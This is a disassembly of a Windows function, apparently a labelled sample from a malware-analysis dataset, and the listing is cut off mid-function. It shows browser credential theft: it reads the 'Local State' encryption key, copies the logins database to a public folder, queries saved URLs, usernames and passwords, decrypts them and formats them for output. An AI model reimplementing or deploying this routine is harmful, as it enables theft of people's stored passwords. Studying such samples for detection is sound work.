Function at 0x1400043f0
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
mov rax, qword [0x14003a1c0]
xor rax, rsp
mov qword [rbp + 0x2a0], rax
xor esi, esi
mov r12d, esi
mov dword [rsp + 0x40], esi
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], si
xor eax, eax
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], rax
lea rdx, [rbp + 0xe8]
call fcn.140002930
nop
mov rbx, qword [rbp + 0xe8]
mov qword [rsp + 0x48], rbx
mov rax, qword [rbp + 0xf0]
mov qword [rbp - 0x50], rax
cmp rbx, rax
je 0x140004872
mov rax, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x14000449c
mov rcx, qword [rbx]
lea r8, [rcx + rax*2]
mov rdx, rcx
jmp 0x1400044a3
lea r8, [rbx + rax*2]
mov rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
cmp rdx, r8
jne 0x1400044c9
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], si
jmp 0x1400044d9
sub r8, rdx
sar r8, 1
lea rcx, [rbp + 0x10]
call fcn.14000a030
nop
lea r8, [rbp + 0x10]
lea rdx, str.________________Current_path_:
lea rcx, [rbp + 0xb0]
call fcn.140009b80
nop
lea rdx, str._________________n
mov rcx, rax
call fcn.1400090b0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
or r12d, 0x20
lea r9, [rbp + 0x1a8]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 7
cmova r9, rdi
mov r15, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
sub rax, r15
movq rsi, xmm1
cmp rsi, rax
ja 0x140004598
lea rax, [r15 + rsi]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rcx, 7
cmova rbx, qword [rbp - 0x30]
lea rcx, [rbx + r15*2]
lea r8, [rsi + rsi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + r15]
xor esi, esi
mov word [rbx + rax*2], si
mov rbx, qword [rsp + 0x48]
jmp 0x1400045b9
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.14000a790
mov r14, qword [rbp + 0x1c0]
mov rdi, qword [rbp + 0x1a8]
xor esi, esi
cmp r14, 7
jbe 0x1400045f5
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400045ec
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e75
mov rcx, rdi
call fcn.140026c9c
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 7
jbe 0x14000463b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004636
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e7c
call fcn.140026c9c
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], 7
mov word [rbp + 0xb0], si
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140004694
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000468f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e83
call fcn.140026c9c
lea r8, str.Local_State
mov rdx, rbx
lea rcx, [rbp + 0x280]
call fcn.1400097e0
nop
lea r8, str.local1
mov rdx, rbx
lea rcx, [rbp + 0x1d8]
call fcn.1400097e0
nop
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x280]
call fcn.1400033f0
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x30]
call fcn.140002aa0
nop
mov r15, qword [rbp + 0x40]
test r15, r15
je 0x140005e45
lea rdi, [rbp + 0x30]
mov r14, qword [rbp + 0x30]
mov r13, qword [rbp + 0x48]
cmp r13, 0xf
cmova rdi, r14
cmp r15, 0x11
jb 0x140004773
lea rsi, [rdi + r15]
lea r8, [rsi - 0x10]
sub r8, rdi
mov edx, 0x22
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14000476c
nop dword [rax]
mov r8d, 0x11
lea rdx, str._encrypted_key_:_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400048dd
inc rbx
lea r8, [rsi - 0x10]
sub r8, rbx
mov edx, 0x22
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140004730
xor esi, esi
mov rbx, qword [rsp + 0x48]
cmp r13, 0xf
jbe 0x1400047aa
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1400047a2
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f5c
mov rcx, r14
call fcn.140026c9c
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 7
jbe 0x140004800
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f63
call fcn.140026c9c
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 7
mov word [rbp + 0x1d8], si
mov rdx, qword [rbp + 0x298]
cmp rdx, 7
jbe 0x14000485f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000485a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f6a
call fcn.140026c9c
add rbx, 0x20
mov qword [rsp + 0x48], rbx
cmp rbx, qword [rbp - 0x50]
jne 0x140004485
lea rdx, [rbp - 0x30]
call fcn.140002ee0
nop
mov rcx, qword [rbp + 0xe8]
test rcx, rcx
je 0x140005f88
mov rdx, qword [rbp + 0xf0]
call fcn.14000a270
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0xe8]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f71
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
je 0x14000476c
lea rsi, [rbx + 0x11]
lea rdi, [rbp + 0x30]
cmp r13, 0xf
cmova rdi, r14
cmp r15, 1
jb 0x140004961
lea rax, [r15 - 1]
cmp rsi, rax
ja 0x140004961
lea rbx, [rdi + r15]
lea rcx, [rdi + rsi]
mov r8, rbx
sub r8, rcx
mov edx, 0x22
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
je 0x140004961
nop dword [rax]
cmp byte [rcx], 0x22
jne 0x140004939
xor eax, eax
jmp 0x14000493e
sbb eax, eax
or eax, 1
test eax, eax
je 0x140004aa4
inc rcx
mov r8, rbx
sub r8, rcx
mov edx, 0x22
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
jne 0x140004930
mov rcx, 0xffffffffffffffff
cmp rcx, 0xffffffffffffffff
je 0x14000476c
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xor eax, eax
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rax
cmp r15, rsi
jb 0x140005ffd
sub rcx, rsi
sub r15, rsi
cmp r15, rcx
cmovb rcx, r15
lea rdx, [rbp + 0x30]
cmp r13, 0xf
cmova rdx, r14
add rdx, rsi
mov r8, rcx
lea rcx, [rbp + 0x100]
call fcn.14000a170
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], rax
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
xor r14d, r14d
mov edi, r14d
mov qword [rbp + 8], r14
mov dword [rbp - 0x10], r14d
lea rcx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rcx, qword [rbp + 0x100]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8d, [r14 + 1]
mov edx, dword [rbp + 0x110]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rbp - 0x10]
test eax, eax
je 0x140004aac
mov edx, eax
lea rcx, [rbp - 8]
call fcn.14000b030
mov rdi, qword [rbp + 8]
lea rcx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rcx, qword [rbp + 0x100]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov rbx, qword [rbp - 8]
mov r9, rbx
lea r8d, [r14 + 1]
mov edx, dword [rbp + 0x110]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x140004ab0
mov rax, qword [rbp]
mov qword [rbp + 0x138], rbx
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rdi
or r12d, 0x140
jmp 0x140004b02
sub rcx, rdi
jmp 0x140004968
mov rbx, qword [rbp - 8]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r14
or r12d, 0x140
test rbx, rbx
je 0x140004b02
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x140004af6
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e8a
mov rdx, rdi
mov rcx, rbx
call fcn.140026c9c
nop
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x1c8]
call fcn.1400031b0
xorps xmm0, xmm0
mov eax, dword [rbp + 0x1c8]
mov ebx, eax
movdqu xmmword [rbp + 0xd0], xmm0
mov rsi, r14
mov qword [rbp + 0xe0], r14
test eax, eax
je 0x140004ba0
cmp rax, 0x1000
jb 0x140004b67
lea rcx, [rax + 0x27]
cmp rcx, rax
jbe 0x140006003
call fcn.140026c60
test rax, rax
je 0x140005f47
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140004b72
mov rcx, rbx
call fcn.140026c60
mov rdi, rax
mov qword [rbp + 0xd0], rdi
lea rsi, [rdi + rbx]
mov qword [rbp + 0xe0], rsi
mov r8, rbx
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0xd8], rsi
mov eax, dword [rbp + 0x1c8]
jmp 0x140004ba7
mov rdi, qword [rbp + 0xd0]
mov r8d, eax
mov rdx, qword [rbp + 0x1d0]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], r14
mov qword [rbp + 0x168], r14
mov r8d, 0x16
lea rdx, str.C:Userspublic_aaa.db
lea rcx, [rbp + 0x150]
call fcn.14000a030
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rbp + 0x200], rax
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rbp + 0x218], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], 0xf
mov byte [rbp + 0x220], 0
movups xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], r14
mov qword [rbp + 0x258], 7
mov word [rbp + 0x240], r14w
mov word [rbp + 0x268], 0
mov byte [rbp + 0x26a], 0
mov ecx, 0x40
call fcn.140026c60
mov rbx, rax
mov qword [rbp - 0x48], rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::constructor_unsigned_long_long_unsigned___int64_____ptr64]
lea rax, vtable.std::codecvt_utf8_wchar_t__1114111__0_.0
mov qword [rbx], rax
mov qword [rbp + 0x260], r14
mov qword [rbp + 0x208], rbx
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Locimp::_New_Locimp_class_std::locale::_Locimp_const____ptr64_]
mov r14, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::locale::id_std::codecvt_wchar_t__char__struct__Mbstatet_::id]
call qword [sym.imp.MSVCP140.dll_public:_unsigned_long_long_unsigned___int64____cdecl_std::locale::id::operator_unsigned_long_long_unsigned___int64__void____ptr64]
mov r8, rax
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.MSVCP140.dll_private:_void___cdecl_std::locale::_Locimp::_Addfac_class_std::locale::facet____ptr64__unsigned_long_long_unsigned___int64_____ptr64]
xor ebx, ebx
mov dword [r14 + 0x20], ebx
lea rcx, [r14 + 0x28]
lea rdx, [0x14002e60c]
call qword [sym.imp.MSVCP140.dll_public:_class_std::_Yarn_char_____ptr64___cdecl_std::_Yarn_char_::operator_char_const____ptr64____ptr64]
mov rcx, qword [rbp + 0x218]
cmp rcx, r14
je 0x140004d44
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140004d34
mov r8, qword [rax]
lea edx, [rbx + 1]
mov rcx, rax
call qword [r8]
mov qword [rbp + 0x218], r14
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
test rax, rax
je 0x140004d60
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov qword [rbp + 0x270], rbx
lea r8, [rbp + 0x150]
cmp qword [rbp + 0x168], 7
cmova r8, qword [rbp + 0x150]
mov rax, qword [rbp + 0x160]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x200]
call fcn.1400087e0
or r12d, 0x280
lea rcx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rcx, qword [rbp + 0xb0]
lea rdx, [rbp - 0x38]
call qword [sym.imp.sqlite3.dll_sqlite3_open]
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x40]
mov r8d, 0xffffffff
lea rdx, str.select_origin_url__action_url__username_value__password_value__date_created__date_last_used_from_logins_order_by_date_created
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.sqlite3.dll_sqlite3_prepare_v2]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_step]
cmp eax, 0x64
jne 0x140005cb7
nop word [rax + rax]
mov dword [rsp + 0x40], r12d
xor edx, edx
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rbx
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004e30
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.14000a170
nop
mov edx, 1
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a8], xmm0
mov qword [rbp + 0x1b8], rbx
mov qword [rbp + 0x1c0], rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140004e75
mov rdx, rax
lea rcx, [rbp + 0x1a8]
call fcn.14000a170
nop
mov edx, 2
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], rbx
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004ec0
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.14000a170
nop
mov edx, 3
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_column_blob]
mov rdi, rax
mov edx, 3
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_column_bytes]
xorps xmm0, xmm0
movsxd rbx, eax
movdqu xmmword [rbp + 0x170], xmm0
xor r14d, r14d
mov r13d, r14d
mov qword [rbp + 0x180], r14
movabs r15, 0x7fffffffffffffff
test eax, eax
je 0x140004f97
cmp rbx, r15
ja 0x14000600f
cmp rbx, 0x1000
jb 0x140004f60
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140006009
call fcn.140026c60
test rax, rax
je 0x140005f1d
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x140004f6b
mov rcx, rbx
call fcn.140026c60
mov r12, rax
mov qword [rbp + 0x170], r12
lea r13, [r12 + rbx]
mov qword [rbp + 0x180], r13
mov r8, rbx
mov rdx, rdi
mov rcx, r12
call sub.VCRUNTIME140.dll_memmove
mov rsi, r13
mov qword [rbp + 0x178], r13
jmp 0x140004fa5
mov rsi, qword [rbp + 0x178]
mov r12, qword [rbp + 0x170]
xorps xmm0, xmm0
movdqu xmmword [rbp - 8], xmm0
mov ecx, 0xc
call fcn.140026c60
mov qword [rbp - 8], rax
lea rdi, [rax + 0xc]
mov qword [rbp + 8], rdi
mov r8d, 0xc
lea rdx, [r12 + 3]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp], rdi
xorps xmm0, xmm0
lea rbx, [r12 + 0xf]
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r14
sub rsi, rbx
je 0x140005063
cmp rsi, r15
ja 0x14000601b
cmp rsi, 0x1000
jb 0x140005034
lea rcx, [rsi + 0x27]
cmp rcx, rsi
jbe 0x140006015
call fcn.140026c60
mov rcx, rax
test rax, rax
je 0x140005f0f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000503c
mov rcx, rsi
call fcn.140026c60
mov qword [rbp + 0x120], rax
lea rdi, [rax + rsi]
mov qword [rbp + 0x130], rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x128], rdi
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd0]
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x188]
call fcn.140003990
nop
mov edx, 4
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xor ebx, ebx
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], bl
jne 0x1400050b4
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14000a170
nop
mov edx, 5
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_column_text]
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400050f0
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14000a170
nop
lea rcx, [rbp + 0x10]
mov r8, qword [rbp + 0x20]
cmp qword [rbp + 0x28], 0xf
jbe 0x14000511f
mov rdx, qword [rbp + 0x10]
add r8, rdx
jmp 0x140005126
add r8, rcx
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x70]
call fcn.140009cc0
nop
mov r8, rax
lea rdx, str.Origin_URL:
lea rcx, [rsp + 0x50]
call fcn.140009b80
nop
lea rdx, [0x14002ea80]
mov rcx, rax
call fcn.1400090b0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rsp + 0x70]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 7
cmova r9, rdi
mov r15, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
sub rax, r15
movq rsi, xmm1
cmp rsi, rax
ja 0x1400051de
lea rax, [r15 + rsi]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rcx, 7
cmova rbx, qword [rbp - 0x30]
lea rcx, [rbx + r15*2]
lea r8, [rsi + rsi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [r15 + rsi]
xor ecx, ecx
mov word [rbx + rax*2], cx
xor ebx, ebx
jmp 0x1400051f8
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.14000a790
mov r14, qword [rbp - 0x78]
mov rdi, qword [rsp + 0x70]
cmp r14, 7
jbe 0x140005234
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000522b
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e91
mov rcx, rdi
call fcn.140026c9c
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140005276
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005271
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e98
call fcn.140026c9c
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], bx
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x1400052c9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e9f
call fcn.140026c9c
lea rcx, [rbp + 0x90]
mov r8, qword [rbp + 0xa0]
cmp qword [rbp + 0xa8], 0xf
jbe 0x1400052ed
mov rdx, qword [rbp + 0x90]
add r8, rdx
jmp 0x1400052f7
add r8, rcx
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x70]
call fcn.140009cc0
nop
mov r8, rax
lea rdx, str.Username:
lea rcx, [rsp + 0x50]
call fcn.140009b80
nop
lea rdx, [0x14002ea80]
mov rcx, rax
call fcn.1400090b0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rsp + 0x70]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 7
cmova r9, rdi
mov r15, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
sub rax, r15
movq rsi, xmm1
cmp rsi, rax
ja 0x1400053af
lea rax, [r15 + rsi]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rcx, 7
cmova rbx, qword [rbp - 0x30]
lea rcx, [rbx + r15*2]
lea r8, [rsi + rsi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [r15 + rsi]
xor ecx, ecx
mov word [rbx + rax*2], cx
xor ebx, ebx
jmp 0x1400053c9
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.14000a790
mov r14, qword [rbp - 0x78]
mov rdi, qword [rsp + 0x70]
cmp r14, 7
jbe 0x140005405
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400053fc
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ea6
mov rcx, rdi
call fcn.140026c9c
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140005447
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005442
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ead
call fcn.140026c9c
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], bx
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14000549a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005495
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005eb4
call fcn.140026c9c
lea rcx, [rbp + 0x188]
mov r8, qword [rbp + 0x198]
cmp qword [rbp + 0x1a0], 0xf
jbe 0x1400054be
mov rdx, qword [rbp + 0x188]
add r8, rdx
jmp 0x1400054c8
add r8, rcx
lea rdx, [rbp + 0x188]
lea rcx, [rbp - 0x70]
call fcn.140009cc0
nop
mov r8, rax
lea rdx, str.Password:
lea rcx, [rsp + 0x50]
call fcn.140009b80
nop
lea rdx, [0x14002ea80]
mov rcx, rax
call fcn.1400090b0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rsp + 0x70]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 7
cmova r9, rdi
mov r15, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
sub rax, r15
movq rsi, xmm1
cmp rsi, rax
ja 0x140005580
lea rax, [r15 + rsi]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rcx, 7
cmova rbx, qword [rbp - 0x30]
lea rcx, [rbx + r15*2]
lea r8, [rsi + rsi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + r15]
xor ecx, ecx
mov word [rbx + rax*2], cx
xor ebx, ebx
jmp 0x14000559a
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.14000a790
mov r14, qword [rbp - 0x78]
mov rdi, qword [rsp + 0x70]
cmp r14, 7
jbe 0x1400055d6
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400055cd
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ebb
mov rcx, rdi
call fcn.140026c9c
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140005618
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005613
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ec2
call fcn.140026c9c
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], bx
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14000566b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005666
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ec9
